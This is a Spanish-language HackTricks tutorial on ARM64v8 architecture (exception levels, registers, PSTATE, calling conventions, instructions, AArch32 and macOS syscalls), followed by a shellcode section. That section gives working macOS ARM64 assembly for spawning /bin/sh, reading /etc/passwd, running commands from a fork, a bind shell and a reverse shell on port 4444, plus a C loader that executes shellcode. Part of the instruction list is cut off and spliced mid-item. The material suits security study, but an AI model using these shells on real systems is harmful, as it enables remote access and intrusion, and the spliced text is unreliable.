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Introducción a ARM64v8

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Niveles de Excepción - EL (ARM64v8)

En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van desde EL0 hasta EL3, cada uno con un propósito diferente:

  1. EL0 - Modo Usuario:
  • Este es el nivel menos privilegiado y se utiliza para ejecutar código de aplicaciones regulares.
  • Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y estabilidad.
  1. EL1 - Modo Kernel del Sistema Operativo:
  • La mayoría de los kernels de sistemas operativos se ejecutan en este nivel.
  • EL1 tiene más privilegios que EL0 y puede acceder a recursos del sistema, pero con algunas restricciones para garantizar la integridad del sistema.
  1. EL2 - Modo Hipervisor:
  • Este nivel se utiliza para la virtualización. Un hipervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) que se ejecutan en el mismo hardware físico.
  • EL2 proporciona características para la aislación y control de los entornos virtualizados.
  1. EL3 - Modo Monitor Seguro:
  • Este es el nivel más privilegiado y a menudo se utiliza para arranque seguro y entornos de ejecución confiables.
  • EL3 puede gestionar y controlar accesos entre estados seguros y no seguros (como arranque seguro, sistema operativo confiable, etc.).

El uso de estos niveles permite una forma estructurada y segura de gestionar diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 hacia los niveles de privilegio ayuda a aislar efectivamente los diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema.

Registros (ARM64v8)

ARM64 tiene 31 registros de propósito general, etiquetados de x0 a x30. Cada uno puede almacenar un valor de 64 bits (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits usando los nombres w0 a w30.

  1. x0 a x7 - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
  • x0 también lleva los datos de retorno de una función
  1. x8 - En el kernel de Linux, x8 se utiliza como el número de llamada al sistema para la instrucción svc. ¡En macOS se utiliza x16!
  2. x9 a x15 - Más registros temporales, a menudo utilizados para variables locales.
  3. x16 y x17 - Registros de Llamada Intraprocedural. Registros temporales para valores inmediatos. También se utilizan para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos).
  • x16 se utiliza como el número de llamada al sistema para la instrucción svc en macOS.
  1. x18 - Registro de plataforma. Puede utilizarse como un registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo actual en Windows, o para apuntar a la estructura de tarea en ejecución actual en el kernel de linux.
  2. x19 a x28 - Estos son registros preservados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador.
  3. x29 - Puntero de marco para realizar un seguimiento del marco de pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro x29 se almacena en la pila y la dirección del nuevo puntero de marco (sp) se almacena en este registro.
  • Este registro también puede utilizarse como un registro de propósito general aunque generalmente se utiliza como referencia a variables locales.
  1. x30 o lr- Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucción BL (Branch with Link) o BLR (Branch with Link to Register) almacenando el valor de pc en este registro.
  • También podría utilizarse como cualquier otro registro.
  1. sp - Puntero de pila, utilizado para realizar un seguimiento de la parte superior de la pila.
  • el valor de sp siempre debe mantenerse al menos con una alineación de cuádruple palabra o podría ocurrir una excepción de alineación.
  1. pc - Contador de programa, que apunta a la siguiente instrucción. Este registro solo puede actualizarse a través de generaciones de excepciones, retornos de excepciones y ramificaciones. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de ramificación con enlace (BL, BLR) para almacenar la dirección de pc en lr (Registro de Enlace).
  2. xzr - Registro cero. También llamado wzr en su forma de registro de 32 bits. Puede utilizarse para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando subs como subs XZR, Xn, #10 almacenando los datos resultantes en ninguna parte (en xzr).

Los registros Wn son la versión de 32 bits del registro Xn.

SIMD y Registros de Punto Flotante

Además, hay otros 32 registros de 128 bits de longitud que se pueden utilizar en operaciones optimizadas de datos múltiples de instrucción única (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn aunque también pueden operar en 64 bits, 32 bits, 16 bits y 8 bits y entonces se llaman Qn, Dn, Sn, Hn y Bn.

Registros del Sistema

Hay cientos de registros del sistema, también llamados registros de propósito especial (SPRs), que se utilizan para monitorear y controlar el comportamiento de procesadores.
Solo se pueden leer o configurar utilizando la instrucción especial dedicada mrs y msr.

Los registros especiales TPIDR_EL0 y TPIDDR_EL0 se encuentran comúnmente cuando se hace ingeniería inversa. El sufijo EL0 indica el nivel mínimo de excepción desde el cual se puede acceder al registro (en este caso, EL0 es el nivel regular de excepción (privilegio) con el que se ejecutan los programas regulares).
A menudo se utilizan para almacenar la dirección base del área de almacenamiento local del hilo de memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el kernel).

  • mrs x0, TPIDR_EL0 ; Leer TPIDR_EL0 en x0
  • msr TPIDR_EL0, X0 ; Escribir x0 en TPIDR_EL0

PSTATE

PSTATE contiene varios componentes del proceso serializados en el registro especial visible por el sistema operativo SPSR_ELx, siendo X el nivel de permiso de la excepción desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).
Estos son los campos accesibles:

  • Las banderas de condición N, Z, C y V:
  • N significa que la operación produjo un resultado negativo
  • Z significa que la operación produjo cero
  • C significa que la operación llevó
  • V significa que la operación produjo un desbordamiento con signo:
  • La suma de dos números positivos produce un resultado negativo.
  • La suma de dos números negativos produce un resultado positivo.
  • En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no se puede representar dentro del rango del tamaño de bit dado.

{% hint style="warning" %} No todas las instrucciones actualizan estas banderas. Algunas como CMP o TST lo hacen, y otras que tienen un sufijo s como ADDS también lo hacen. {% endhint %}

  • La bandera de ancho de registro actual (nRW): Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado.
  • El Nivel de Excepción actual (EL): Un programa regular que se ejecuta en EL0 tendrá el valor 0
  • La bandera de paso a paso único (SS): Utilizada por depuradores para realizar un paso a paso único configurando la bandera SS en 1 dentro de SPSR_ELx a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
  • La bandera de estado de excepción ilegal (IL): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
  • Las banderas DAIF: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas.
  • Si A es 1 significa que se desencadenarán abortos asíncronos. La I configura para responder a Solicitudes de Interrupción de hardware externo (IRQs). y la F está relacionada con Solicitudes de Interrupción Rápida (FIRs).
  • Las banderas de selección de puntero de pila (SPS): Los programas privilegiados que se ejecutan en EL1 y superior pueden alternar entre usar su propio registro de puntero de pila y el del modelo de usuario (por ejemplo, entre SP_EL1 y EL0). Este cambio se realiza escribiendo en el registro especial SPSel. Esto no se puede hacer desde EL0.

Convención de Llamadas (ARM64v8)

La convención de llamadas ARM64 especifica que los primeros ocho parámetros de una función se pasan en los registros x0 a x7. Parámetros adicionales se pasan en la pila. El valor de retorno se pasa de vuelta en el registro x0, o en x1 también si tiene 128 bits de longitud. Los registros x19 a x30 y sp deben ser preservados a través de las llamadas a funciones.

Al leer una función en ensamblador, busque el prólogo y epílogo de la función. El prólogo generalmente implica guardar el puntero de marco (x29), establecer un nuevo puntero de marco, y asignar espacio en la pila. El epílogo generalmente implica restaurar el puntero de marco guardado y retornar de la función.

Convención de Llamadas en Swift

Swift tiene su propia convención de llamadas que se puede encontrar en https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Instrucciones Comunes (ARM64v8)

Las instrucciones ARM64 generalmente tienen el formato opcode dst, src1, src2, donde opcode es la operación que se realizará (como add, sub, mov, etc.), dst es el registro destino donde se almacenará el resultado, y src1 y src2 son los registros fuente. También se pueden utilizar valores inmediatos en lugar de registros fuente.

  • mov: Mover un valor de un registro a otro.
  • Ejemplo: mov x0, x1 — Esto mueve el valor de x1 a x0.
  • ldr: Cargar un valor de la memoria en un registro.
  • Ejemplo: ldr x0, [x1] — Esto carga un valor de la ubicación de memoria señalada por x1 en x0.
  • str: Almacenar un valor de un registro en la memoria.
  • Ejemplo: str x0, [x1] — Esto almacena el valor en x0 en la ubicación de memoria señalada por x1.
  • ldp: Cargar Par de Registros. Esta instrucción carga dos registros de ubicaciones de memoria consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
  • Ejemplo: ldp x0, x1, [x2] — Esto carga x0 y x1 de las ubicaciones de memoria en x2 y x2 + 8, respectivamente.
  • stp: Almacenar Par de Registros. Esta instrucción almacena dos registros en ubicaciones de memoria consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
  • Ejemplo: stp x0, x1, [x2] — Esto almacena x0 y x1 en las ubicaciones de memoria en x2 y x2 + 8, respectivamente.
  • add: Sumar los valores de dos registros y almacenar el resultado en un registro.
  • Sintaxis: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
  • Xn1 -> Destino
  • Xn2 -> Operando 1
  • Xn3 | #imm -> Operando 2 (registro o inmediato)
  • [shift #N | RRX] -> Realizar un desplazamiento o llamar a RRX
  • Ejemplo: add x0, x1, x2 — Esto suma los valores en x1 y x2 y almacena el resultado en x0.
  • add x5, x5, #1, lsl #12 — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000
  • adds Esto realiza una add y actualiza las banderas
  • **`
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. Retorno: ret (devuelve el control al llamador utilizando la dirección en el registro de enlace)

Estado de Ejecución AARCH32

Armv8-A soporta la ejecución de programas de 32 bits. AArch32 puede funcionar en uno de dos conjuntos de instrucciones: A32 y T32 y puede cambiar entre ellos mediante interworking.
Los programas privilegiados de 64 bits pueden programar la ejecución de programas de 32 bits ejecutando una transferencia de nivel de excepción al 32 bits menos privilegiado.
Note que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 activando un programa en EL0). Esto se hace configurando el bit 4 de SPSR_ELx registro especial a 1 cuando el hilo del proceso AArch32 está listo para ser ejecutado y el resto de SPSR_ELx almacena el CPSR del programa AArch32. Luego, el proceso privilegiado llama a la instrucción ERET para que el procesador haga la transición a AArch32 entrando en A32 o T32 dependiendo del CPSR**.**

El interworking ocurre utilizando los bits J y T del CPSR. J=0 y T=0 significa A32 y J=0 y T=1 significa T32. Esto básicamente se traduce en configurar el bit más bajo a 1 para indicar que el conjunto de instrucciones es T32.
Esto se establece durante las instrucciones de ramificación de interworking, pero también se puede configurar directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:

Otro ejemplo:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registros

Hay 16 registros de 32 bits (r0-r15). Desde r0 hasta r14 pueden ser utilizados para cualquier operación, sin embargo, algunos de ellos suelen estar reservados:

  • r15: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. En A32 actual + 8, en T32, actual + 4.
  • r11: Puntero de Marco
  • r12: Registro de llamada intra-procedural
  • r13: Puntero de Pila
  • r14: Registro de Enlace

Además, los registros están respaldados en registros bancados. Estos son lugares que almacenan los valores de los registros permitiendo realizar cambios de contexto rápidos en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.
Esto se hace guardando el estado del procesador del CPSR al SPSR del modo de procesador al que se toma la excepción. Al retornar de la excepción, el CPSR se restaura desde el SPSR.

CPSR - Registro de Estado del Programa Actual

En AArch32 el CPSR funciona de manera similar a PSTATE en AArch64 y también se almacena en SPSR_ELx cuando se toma una excepción para restaurar luego la ejecución:

Los campos están divididos en algunos grupos:

  • Registro de Estado del Programa de Aplicación (APSR): Banderas aritméticas y accesibles desde EL0
  • Registros de Estado de Ejecución: Comportamiento del proceso (gestionado por el SO).

Registro de Estado del Programa de Aplicación (APSR)

  • Las banderas N, Z, C, V (igual que en AArch64)
  • La bandera Q: Se establece en 1 siempre que ocurre saturación entera durante la ejecución de una instrucción aritmética saturante especializada. Una vez que se establece en 1, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente.
  • GE (Mayor o igual) Banderas: Se utiliza en operaciones SIMD (Instrucción Única, Datos Múltiples), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción.

Por ejemplo, la instrucción UADD8 suma cuatro pares de bytes (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego establece las banderas GE en el APSR basándose en estos resultados. Cada bandera GE corresponde a una de las adiciones de bytes, indicando si la adición para ese par de bytes desbordó.

La instrucción SEL utiliza estas banderas GE para realizar acciones condicionales.

Registros de Estado de Ejecución

  • Los bits J y T: J debe ser 0 y si T es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
  • Registro de Estado de Bloque IT (ITSTATE): Estos son los bits del 10-15 y 25-26. Almacenan condiciones para instrucciones dentro de un grupo prefijado con IT.
  • E bit: Indica la endiandad.
  • Bits de Máscara de Modo y Excepción (0-4): Determinan el estado de ejecución actual. El quinto indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el modo de excepción actualmente en uso (cuando ocurre una excepción y se está manejando). El número establecido indica la prioridad actual en caso de que se active otra excepción mientras se maneja esta.
  • AIF: Ciertas excepciones pueden deshabilitarse utilizando los bits A, I, F. Si A es 1 significa que se activarán abortos asíncronos. El I configura para responder a Solicitudes de Interrupción de Hardware Externo (IRQs). y el F está relacionado con Solicitudes de Interrupción Rápida (FIRs).

macOS

Syscalls de BSD

Consulta syscalls.master. Las syscalls de BSD tendrán x16 > 0.

Trampas Mach

Consulta syscall_sw.c. Las trampas Mach tendrán x16 < 0, por lo que necesitas llamar a los números de la lista anterior con un menos: _kernelrpc_mach_vm_allocate_trap es -10.

También puedes consultar libsystem_kernel.dylib en un desensamblador para encontrar cómo llamar a estas syscalls (y de BSD):

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} A veces es más fácil revisar el código descompilado de libsystem_kernel.dylib que revisar el código fuente porque el código de varios syscalls (BSD y Mach) se genera mediante scripts (revisa los comentarios en el código fuente), mientras que en la dylib puedes encontrar lo que se está llamando. {% endhint %}

Shellcodes

Para compilar:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Para extraer los bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Código en C para probar el shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Tomado de [**aquí**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado.

{% tabs %}
{% tab title="con adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="con pila" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

Leer con cat

El objetivo es ejecutar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), por lo que el segundo argumento (x1) es un array de parámetros (lo que en memoria significa una pila de direcciones).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Invocar comando con sh desde un fork para que el proceso principal no se mate

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s en el puerto 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Desde https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell a 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
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